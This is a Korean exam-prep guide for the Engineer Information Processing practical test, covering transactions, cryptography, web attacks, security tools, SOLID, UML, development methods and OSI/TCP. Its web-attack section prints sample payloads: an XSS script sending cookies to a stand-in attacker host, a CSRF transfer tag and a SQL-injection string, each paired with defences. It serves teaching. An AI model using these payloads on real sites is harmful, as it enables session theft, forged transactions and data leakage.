정보처리기사 실기 개념정리 목차

8회차 밖 빈출 보강 — 다음 회차에 나올 것들

이 편은 이 트랙에 수록된 2024~2026년 8회차에는 안 나왔지만, 다른 회차에 자주 나왔거나 출제 확률이 높은 이론 주제를 모은 것이다. 앞의 05편이 "수록 기출에 실제로 나온 것"이라면, 이 편은 "재출제 대비 커버리지"다. 실기 이론은 절반이 재출제·변형이고 매회 오랜만에 재등장하는 주제가 1~3개 나오므로(2026-1의 ISMS는 4년 만, 워터링홀도 4년 만 재등장), 여기 있는 것들도 언제든 나올 수 있다.

05편과 같은 방식으로 개념 → 워크드 예제 → 함정 → 표로 두껍게 다룬다. 우선순위는 정처기 감자·나무위키의 이론 출제확률 분석 기준 — ★는 80%+ 고빈출.


1. ★ 트랜잭션 — ACID와 회복·병행제어

DB 과목 최고 빈출인데 8회차엔 안 나왔다. 다음 회차 1순위 후보다.

1.1 트랜잭션이란, 그리고 왜 ACID인가

트랜잭션(Transaction) 은 "논리적으로 하나로 묶여야 하는 작업의 단위"다. 대표 예가 계좌 이체 — "A에서 1만 원 빼기"와 "B에 1만 원 넣기"는 둘 다 되거나 둘 다 안 돼야 한다. 한쪽만 되면 돈이 사라지거나 복사된다. 이 "안전하게 묶는" 성질 4가지가 ACID다.

특성이체 예로 보면결정 키워드
원자성(Atomicity)전부 반영 or 전부 취소출금만 되고 입금 실패면 롤백해 출금도 취소"부분 완료 없음", "all-or-nothing"
일관성(Consistency)실행 전후 무결성 제약 유지이체 전후 두 계좌 잔액 합이 동일"일관된 상태 유지"
격리성(Isolation)동시 트랜잭션이 서로 간섭 못 함이체 중간 잔액을 다른 거래가 못 봄"고립", "병행 수행 격리"
지속성(Durability)완료 결과는 장애에도 영구 보존커밋 후엔 정전이 나도 이체 유지"영속성", "Commit 후 보존"

앞글자 A-C-I-D. 지문이 "완료되면 절대 사라지지 않는다"면 지속성, "중간까지만 반영되는 일은 없다"면 원자성, "동시에 실행돼도 따로 한 것 같다"면 격리성이다.

1.2 회복(Recovery) — 장애가 나면 어떻게 되돌리나

DB는 장애(정전·크래시)에 대비해 모든 변경을 로그에 먼저 적는다. 회복은 이 로그로 "완료된 건 살리고, 미완료는 지우는" 것이다.

  • REDO (재실행) — 로그에 Commit이 찍혔지만 디스크 반영이 확실치 않은 트랜잭션을 로그대로 다시 실행해 살린다.
  • UNDO (취소) — Commit 없이 중단된 트랜잭션의 변경을 로그 역순으로 되돌린다.

워크드 예제. 정전 순간 트랜잭션 상태가 이랬다면:

  • T1: 시작 → 변경 → Commit 완료 → (반영 불확실) ⇒ REDO로 살림
  • T2: 시작 → 변경 → (Commit 전에 정전) ⇒ UNDO로 되돌림
  • 즉시 갱신 vs 지연 갱신 — 변경을 커밋 전에 디스크에 바로 쓰면(즉시) 회복에 REDO·UNDO 둘 다 필요, 커밋까지 로그에만 모아 두면(지연) REDO만 필요.
  • 체크포인트(Checkpoint) — 주기적으로 "여기까지는 안전하게 반영됨"을 기록 → 회복 시 체크포인트 이후만 처리하면 되니 빠르다.

1.3 병행제어(Concurrency Control) — 동시 실행의 함정

여러 트랜잭션이 동시에 같은 데이터를 건드리면 격리성이 깨진다. 대표 이상 현상:

  • 갱신 손실(Lost Update) — 두 트랜잭션이 같은 값을 읽고 각자 갱신 → 한쪽 갱신이 덮여 사라짐.
  • 오손 읽기(Dirty Read) — 아직 커밋 안 된(롤백될 수도 있는) 값을 다른 트랜잭션이 읽음.
  • 반복 불가능 읽기(Non-repeatable Read) — 같은 행을 두 번 읽었는데 중간에 남이 바꿔 값이 다름.
  • 팬텀(Phantom) — 같은 조건으로 두 번 조회했는데 남이 새 행을 끼워 넣어 결과 행 수가 달라짐.

해결 기법:

  • 로킹(Locking) — 접근 전에 잠금을 건다. 공유 락(S, 읽기용, 여럿 동시 가능) · 배타 락(X, 쓰기용, 혼자만).
  • 2단계 로킹(2PL) — 락을 늘리기만 하는 확장 단계줄이기만 하는 수축 단계로 분리. 직렬성(serializability)은 보장하지만 교착상태(Deadlock) 가 생길 수 있다.

    교착 예제: T1이 A에 락 걸고 B를 기다리는데, T2가 B에 락 걸고 A를 기다리면 둘 다 영원히 대기. (교착 4조건 = 상호배제·점유대기·비선점·환형대기 — OS의 데드락과 같은 개념.)

  • 타임스탬프 순서 — 트랜잭션에 시간표를 부여해 순서를 강제. 교착 없음(대신 롤백 증가).
  • 격리 수준(Isolation Level) — 성능과 안전의 트레이드오프로 4단계: READ UNCOMMITTED < READ COMMITTED < REPEATABLE READ < SERIALIZABLE (위로 갈수록 안전·느림).

꼬리질문 대비 — "2PL이 직렬성은 보장하는데 왜 교착이 생기나?"(락 순서를 강제하지 않으므로). "낙관적 병행제어?"(충돌이 드물다고 보고 커밋 시점에만 검사).


2. ★ 암호 알고리즘 — 대칭 vs 비대칭 vs 해시

8회차엔 AES(대칭)·해시함수 정의만 나왔다. 종류 매칭·대표 알고리즘은 미출제 = 후보.

2.1 세 갈래를 왜 나누나

  • 대칭키 — 암호화·복호화에 같은 키. 빠르지만 키를 어떻게 안전하게 나눠 갖나(키 분배)가 숙제.
  • 비대칭키(공개키)공개키·개인키 쌍. 공개키로 잠그면 개인키로만 열림(그 반대도). 느리지만 키 분배 문제를 해결하고 전자서명이 가능.
  • 해시 — 키 없이 임의 길이 → 고정 길이, 복원 불가. 무결성 검증용.
구분특징대표 알고리즘
대칭키암·복호화 같은 키빠름, 키 분배 문제DES·3DES·AES·SEED·ARIA·IDEA / 스트림: RC4
비대칭키공개키·개인키 느림, 키 분배 해결·서명 가능RSA(소인수분해)·ECC(타원곡선)·디피-헬만(키교환)·ElGamal·DSA
해시없음(일방향)복원 불가, 무결성MD5·SHA-256·HMAC
  • 대칭키 세부 — 블록 암호(DES·AES·SEED·ARIA, 고정 블록 단위) vs 스트림 암호(RC4·LFSR, 비트/바이트 단위). AES는 128비트 블록 + 키 128/192/256.
  • 비대칭키 세부 — RSA는 큰 수 소인수분해의 어려움, ECC는 타원곡선(짧은 키로 같은 안전성 → 모바일에 유리), 디피-헬만은 키 교환 전용(데이터 암호화는 안 함).

2.2 전자서명 — 해시 + 비대칭키의 결합

전자서명은 "이 문서를 내가 썼고 안 바뀌었다"를 증명한다. 흐름:

다이어그램 로딩 중…
  • 핵심: 개인키로 서명(나만 할 수 있음 → 인증·부인방지), 공개키로 검증(누구나 확인), 해시 비교(변조 감지 → 무결성). 단, 서명 자체는 기밀성은 주지 않는다(원문이 그대로 감).
  • 하이브리드(SSL/TLS) — 비대칭키는 느리니 키 교환에만 쓰고, 실제 데이터는 그때 나눈 대칭키로 빠르게 암호화한다. "느린 비대칭 + 빠른 대칭"의 조합.
  • PKI(공개키 기반구조) — 공개키가 진짜 그 사람 것인지 CA(인증기관) 가 발급한 인증서로 보증. 인증서·CA·CRL(폐기 목록)이 세트.

결정 키워드 — "암복호화 키가 같다" 대칭 / "공개·개인 쌍, 서명 가능" 비대칭 / "복원 불가, 고정 길이" 해시 / "개인키로 암호화" 전자서명.


3. ★ 웹 공격 3종 + 시큐어 코딩

8회차엔 세션하이재킹·워터링홀 등은 나왔지만 XSS·CSRF·SQL 인젝션은 미출제. 소프트웨어 개발 보안의 최빈출 3종이라 강력 후보다. 각각을 코드로 보면 확실히 구분된다.

① XSS (Cross-Site Scripting) — 입력창·게시글에 악성 스크립트를 심어, 그 글을 보는 다른 사용자의 브라우저에서 실행시켜 쿠키·세션을 탈취.

게시글 내용: <script>location='http://attacker/?c='+document.cookie</script>
→ 이 글을 연 사용자의 쿠키가 공격자에게 전송됨
  • 3종: 저장형(Stored)(서버 DB에 저장돼 두고두고), 반사형(Reflected)(URL 파라미터로 즉시 반사), DOM 기반(서버 안 거치고 브라우저 JS가 조작).
  • 대응: 출력 인코딩(<&lt;로 → 스크립트로 실행 안 됨), 입력 검증.

② CSRF (Cross-Site Request Forgery) — 로그인된 사용자를 속여, 사용자 권한으로 위조 요청을 보내게 함. 사용자는 자기가 요청한 줄 모른다.

공격자 페이지에 숨긴 태그:
<img src="http://bank/transfer?to=attacker&amount=1000000">
→ 은행에 로그인된 피해자가 이 페이지를 열면 자동 이체 요청이 전송됨
  • 대응: CSRF 토큰(정상 폼에만 심는 난수), Referer 검증, 재인증.

③ SQL 인젝션 — 입력값에 SQL을 섞어 넣어 쿼리 의미를 바꿈.

입력 id: ' OR '1'='1SELECT * FROM users WHERE id='' OR '1'='1'   -- 조건이 항상 참 → 전체 유출
  • 대응: 프리페어드 스테이트먼트(파라미터 바인딩) — 입력을 코드가 아닌 데이터로만 취급.

함정 박스 — XSS vs CSRF. XSS는 "스크립트를 실행"시키는 것(피해자 브라우저에서 코드 실행), CSRF는 "정상 요청을 위조"하는 것(피해자 권한으로 서버에 요청). 노리는 지점이 다르다.

3.1 악성코드·공격 유형 분류 (매칭형 단골)

그룹종류결정 키워드
악성코드바이러스숙주 필요 + 자가복제
웜(Worm)숙주 불필요 + 자가복제 + 네트워크 전파
트로이 목마자가복제 없음 + 정상 프로그램 위장
사회공학피싱 / 파밍 / 스미싱 / 큐싱가짜 사이트 / DNS 조작 / SMS / QR코드
스푸핑IP / ARP / DNS 스푸핑각 주소·응답 위조
DoS/DDoS랜드 / 티어드롭 / 죽음의 핑출발=목적지 / 단편 오프셋 조작 / 초대형 ICMP

악성코드 3종은 자가복제 여부 + 숙주 필요 여부로 갈린다. 바이러스(숙주○·복제○), 웜(숙주✕· 복제○·네트워크), 트로이목마(복제✕·위장). 피싱 계열은 유도 수단(사이트/DNS/문자/QR)이 결정어.


4. ★ 보안 솔루션 — 방화벽·탐지·통합

8회차엔 접근통제(MAC/DAC/RBAC)만 나왔다. 방화벽 종류·IDS/IPS/WAF 계열이 최빈출 후보.

4.1 방화벽 (Firewall)

내·외부 트래픽을 정책으로 허용/차단하는 첫 관문. 동작 방식으로 발전해 왔다:

  • 패킷 필터링 — 3·4계층 헤더(IP·포트)만 보고 판단. 빠르지만 내용은 못 봄.
  • 스테이트풀 인스펙션연결 상태(세션)를 추적해 정상 흐름인지 판단.
  • 애플리케이션 게이트웨이(프록시) — 7계층 내용까지 검사. 가장 정밀, 가장 느림.

구축 구조 — 스크리닝 라우터 → 배스천 호스트(요새 역할 단일 지점) → 듀얼 홈드(네트워크 카드 2개로 내외부 분리) → 스크린드 서브넷(DMZ): 내부망과 외부망 사이의 완충 지대로, 웹 서버 등 외부 공개 서버를 여기 둔다.

4.2 탐지·차단·관제 계열

약어이름역할
IDS침입 탐지탐지·경고만 (오용 탐지=시그니처 매칭 / 이상 탐지=정상 행위와의 편차)
IPS침입 방지탐지 + 실시간 차단
WAF웹 방화벽웹 공격(SQLi·XSS) 특화 차단
UTM통합 위협 관리방화벽·IDS·백신 등을 하나로 통합
NAC네트워크 접근 제어단말 인증·정책 위반 단말 격리
DLP정보 유출 방지기밀 데이터 외부 반출 차단
SIEM / ESM보안 정보·이벤트 관리로그 통합 수집·분석·관제

함정 박스 — IDS vs IPS. 둘 다 침입을 알아채지만 IDS는 경고만, IPS는 차단까지. "탐지"와 "방지(차단)"라는 이름 그대로. 오용 탐지(알려진 패턴)와 이상 탐지(비정상 행위)의 구분도 단골.

4.3 인증 프레임워크

  • 3A인증(Authentication, 누구인가) · 인가(Authorization, 무엇을 할 수 있나) · 계정관리(Accounting, 무엇을 했나 로깅).
  • Zero Trust — "절대 신뢰하지 않고 항상 검증". 내부망이라도 믿지 않고 매 접근을 검증하는 모델.

5. ★ 객체지향 설계 원칙 SOLID

앱 설계 최빈출인데 8회차 미출제. 5개 원칙의 이름·정의 매칭이 전형이다.

약어원칙한 줄예시
S단일 책임(SRP)클래스는 하나의 책임(변경 이유)보고서 '내용'과 '출력'을 한 클래스에 두지 말 것
O개방-폐쇄(OCP)확장에는 열려, 수정에는 닫혀새 도형 추가 시 기존 코드 수정 없이 클래스만 추가
L리스코프 치환(LSP)자식은 부모를 대체 가능"정사각형 extends 직사각형"이 깨는 대표 반례
I인터페이스 분리(ISP)안 쓰는 메서드 의존 강요 금지거대 인터페이스를 역할별로 쪼갬
D의존 역전(DIP)구체가 아닌 추상에 의존상위 모듈이 구현체가 아닌 인터페이스에 의존

고난도 예시 — LSP 위반의 고전. "정사각형 extends 직사각형"이 왜 LSP를 깨나:

Rectangle r = new Square();
r.setWidth(5); r.setHeight(4);   // 직사각형은 넓이 20을 기대
// 그런데 Square는 setHeight가 width도 4로 바꿔 넓이 16 → 부모 계약 위반

자식(Square)이 부모(Rectangle)를 대체했을 때 기대가 깨지면 LSP 위반이다. "is-a"처럼 보여도 행위 계약이 다르면 상속하면 안 된다.

꼬리질문 대비 — "OCP를 어떻게 지키나?"(추상화·다형성으로 확장점을 열어 둠). "DIP와 의존성 주입(DI)의 관계?"(DI는 DIP를 실현하는 구체 기법).


6. 럼바우 분석 + UML 다이어그램

6.1 럼바우(Rumbaugh) 3대 모델 — 객체지향 분석 최빈출

객체지향 분석(OOA)에서 시스템을 세 관점으로 모델링한다:

모델표현 도구무엇을 보나
객체 모델(Object)ER 다이어그램(클래스도)정적 구조 — 객체·속성·관계
동적 모델(Dynamic)상태 다이어그램시간 흐름에 따른 상태 변화·이벤트
기능 모델(Functional)자료 흐름도(DFD)데이터의 처리·변환 과정

"객·동·기"로 외운다. 표현 도구 매칭이 함정 — 객체 모델=ER/클래스도, 동적=상태도, 기능=DFD. 다른 방법론: 부치(Booch), 야콥슨(Jacobson, 유스케이스 중심), 코드-요돈.

6.2 UML 다이어그램 — 구조 vs 행위

  • 구조(정적) 다이어그램 — 클래스, 객체, 컴포넌트, 배치(Deployment), 패키지(2025-3 기출), 복합체 구조.
  • 행위(동적) 다이어그램유스케이스, 시퀀스(시간 순 메시지), 커뮤니케이션, 상태, 활동(플로차트형), 타이밍.
  • 유스케이스 관계 — 연관(액터-유스케이스) / 포함(«include», 항상 실행되는 공통 기능) / 확장(«extend», 조건부 선택 기능) / 일반화.

함정 박스 — include vs extend. 포함은 "반드시 수행"(로그인 시 항상 인증), 확장은 "조건부 수행"(결제 시 선택적으로 쿠폰 적용). 화살표 방향까지 물어보니 주의.


7. 개발방법론 + SDLC + 아키텍처 패턴

7.1 SDLC 모델

  • 폭포수(Waterfall) — 요구→설계→구현→테스트를 순차적으로, 단계 완료 후 다음. 가장 고전, 변경에 취약.
  • 프로토타입시제품을 먼저 만들어 요구를 확인·수정.
  • 나선형(Spiral) — 계획 → 위험 분석 → 개발 → 평가를 반복. 위험 관리가 핵심.
  • 반복적/점증적(Iterative/Incremental) — 기능을 나눠 반복하며 조금씩 완성.

7.2 애자일(Agile)

문서보다 동작하는 SW, 계획보다 변화 대응을 중시하는 경량 방법론.

  • 스크럼(Scrum) — 짧은 스프린트(2~4주) 반복. 산출물: 제품 백로그(요구 목록)·스프린트 백로그·번다운 차트(남은 작업량 그래프). 이벤트: 스프린트 계획·데일리 스크럼(매일 15분)· 리뷰·회고. 역할: 제품 책임자(PO)·스크럼 마스터·개발팀.
  • XP(익스트림 프로그래밍) — 5가치: 용기·단순성·의사소통·피드백·존중. 실천법: 페어 프로그래밍, 테스트 주도 개발(TDD), 리팩토링, 지속적 통합(CI), 공동 코드 소유, 소규모 릴리스.
  • 칸반(작업 시각화·WIP 제한), 린(낭비 제거).

7.3 소프트웨어 아키텍처 패턴

패턴핵심
레이어드(계층화)관심사를 계층으로 분리표현-비즈니스-데이터 3계층
클라이언트-서버요청/응답으로 역할 분리웹 브라우저-웹 서버
파이프-필터데이터를 필터로 순차 처리컴파일러, 쉘 파이프라인
MVC모델-뷰-컨트롤러 분리웹 프레임워크
마스터-슬레이브주가 부에게 작업 분배·결과 취합병렬 연산, DB 복제
브로커분산 컴포넌트를 중계자가 연결메시지 브로커
피어투피어(P2P)노드가 대등하게 클라이언트+서버파일 공유

꼬리질문 대비 — "레이어드의 단점?"(계층 통과 오버헤드). "MVC에서 컨트롤러의 역할?"(입력을 받아 모델을 갱신하고 뷰를 선택).


8. 형상관리 + 신기술 용어

8.1 형상관리(SCM, 저빈출이지만 0~1문제)

소프트웨어의 변경을 체계적으로 관리하는 활동. "누가·언제·무엇을·왜 바꿨나"를 추적한다.

  • 4단계: 형상 식별(관리 대상 지정) → 통제(변경 요청·승인) → 감사(변경이 제대로 됐는지 검증) → 기록(이력 문서화).
  • 베이스라인(Baseline) — 합의된 기준선. 이후 변경은 이 기준에서 통제한다.
  • 도구: Git(분산), SVN·CVS(중앙집중).

8.2 신기술 용어 (매회 0~2개 신출 — 최대 감점 구간)

범위가 무한해 다 못 외운다. 약어 풀이 + 한 줄 정의 + 지문 키워드 매칭만 훈련한다:

  • 컨테이너 — 도커(Docker, 격리 실행 단위), 쿠버네티스(K8s, 컨테이너 오케스트레이션).
  • 빅데이터 — 하둡(Hadoop, 분산 저장·처리), 맵리듀스(분산 병렬 처리 모델), NoSQL.
  • 클라우드IaaS(인프라)/PaaS(플랫폼)/SaaS(소프트웨어) — 빌려 쓰는 범위 차이.
  • 아키텍처 — 마이크로서비스(MSA, 작은 서비스로 분해)·서버리스·데브옵스(개발+운영 통합).
  • 기타 — 블록체인(분산 원장), 디지털 트윈(현실을 가상에 복제), 메타버스, 양자 암호, RPA(업무 자동화), IoT/M2M(사물 통신), 엣지 컴퓨팅(현장 처리).

9. ★ 네트워크 기초 — OSI 7계층·TCP/UDP

05편은 서브넷·라우팅 계산 위주였다. 계층 매칭·TCP/UDP 비교는 미출제라 후보다.

9.1 OSI 7계층 — 왜 나누고, 어떻게 매칭하나

통신을 7개 계층으로 분업해, 각 계층이 자기 일만 하고 위아래로 넘긴다(모듈화). 데이터가 내려갈 때 각 계층이 헤더를 붙이는 걸 캡슐화, 올라갈 때 떼는 걸 역캡슐화라 한다.

계층이름PDU기능대표 프로토콜·장비
7응용(Application)데이터사용자 서비스HTTP·FTP·SMTP·DNS
6표현(Presentation)데이터암호화·압축·인코딩JPEG·ASCII
5세션(Session)데이터연결 설정·동기화
4전송(Transport)세그먼트종단 간 신뢰성·포트TCP·UDP
3네트워크(Network)패킷경로 결정(라우팅)IP · 라우터
2데이터링크(Data Link)프레임인접 노드 전송·오류/흐름 제어MAC · 스위치·브리지
1물리(Physical)비트전기 신호리피터·허브

암기: "애·표·세·전·네·데·물"(위→아래). 계층 ↔ 프로토콜 ↔ 장비 매칭이 핵심 — 라우터=3계층(IP), 스위치=2계층(MAC), TCP/UDP=4계층, 암호화=6계층(표현).

고난도 예시 — 캡슐화 추적. "HTTP 요청이 브라우저에서 나가 서버에 닿을 때 각 계층이 무엇을 붙이나?"

7 응용:  HTTP 메시지(데이터)
4 전송:  + TCP 헤더(포트·시퀀스)  → 세그먼트
3 네트워크: + IP 헤더(출발/목적 IP) → 패킷
2 데이터링크: + MAC 헤더 + 트레일러(FCS) → 프레임
1 물리:  비트 스트림으로 전송

내려가며 헤더를 붙이고(캡슐화), 수신 측은 올라가며 떼며(역캡슐화) 해당 계층 정보를 읽는다. "IP는 몇 계층?"(3), "포트는 몇 계층?"(4), "FCS로 오류 검출은?"(2) 식으로 물어본다.

9.2 TCP vs UDP — 신뢰성이냐 속도냐

TCPUDP
연결연결형 (3-way handshake로 수립)비연결형 (그냥 보냄)
신뢰성순서 보장·재전송·흐름/혼잡 제어없음 (빠름·가벼움)
용도웹·메일·파일 전송(정확성)스트리밍·DNS·VoIP·게임(실시간성)
  • 3-way handshake(연결) — SYN → SYN/ACK → ACK. (이 절차를 악용해 ACK를 안 보내는 게 SYN 플러딩, 05편 §7.1.)
  • 4-way handshake(해제) — FIN → ACK → FIN → ACK.
  • 흐름 제어(수신자가 감당할 속도로, 슬라이딩 윈도) vs 혼잡 제어(네트워크 혼잡 시 속도 조절)를 구분.
  • IPv4(32비트) vs IPv6(128비트) — 주소 고갈 해결. 전환 기술: 듀얼 스택·터널링·주소 변환.

꼬리질문 대비 — "TCP가 신뢰성을 보장하는 방법?"(순서 번호·ACK·재전송·체크섬). "3-way를 왜 3번 하나?"(양방향 연결 준비를 서로 확인하기 위해).


10. 이 편 활용법

  1. 1~5번(★)을 최우선 — 트랜잭션·암호종류·웹공격·보안솔루션·SOLID은 고빈출인데 수록 8회차에 없어서 '구멍'이다. 여기가 다음 회차에서 점수 새는 지점이다.
  2. 6~7·9번은 중간 빈도 — 럼바우 객동기, XP 5가치, 아키텍처 패턴 이름, OSI 계층 매칭은 매칭형으로 자주 나온다.
  3. 8번은 약어 풀이 중심 — 형상관리 4단계, 신기술은 지문 키워드 매칭만.
  4. 05편(수록 기출 이론)과 이 편을 합치면 실기 이론 출제 범위의 대부분을 덮는다.

출처

  • 출제확률·빈도: 정처기 감자(edugamja) 이론 압축 공부법·이론 난이도 분석, 나무위키 정보처리기사/출제경향
  • 정의 교차 확인: 시나공·이기적 실기 요약, SK쉴더스/보안 자료(XSS·CSRF·SQLi), 학원 실기 이론 정리 블로그
  • 이 편은 수록 8회차 밖 주제라 "기출 실측"이 아니라 재출제·출제 가능성 대비임을 유의
이론·용어 빈출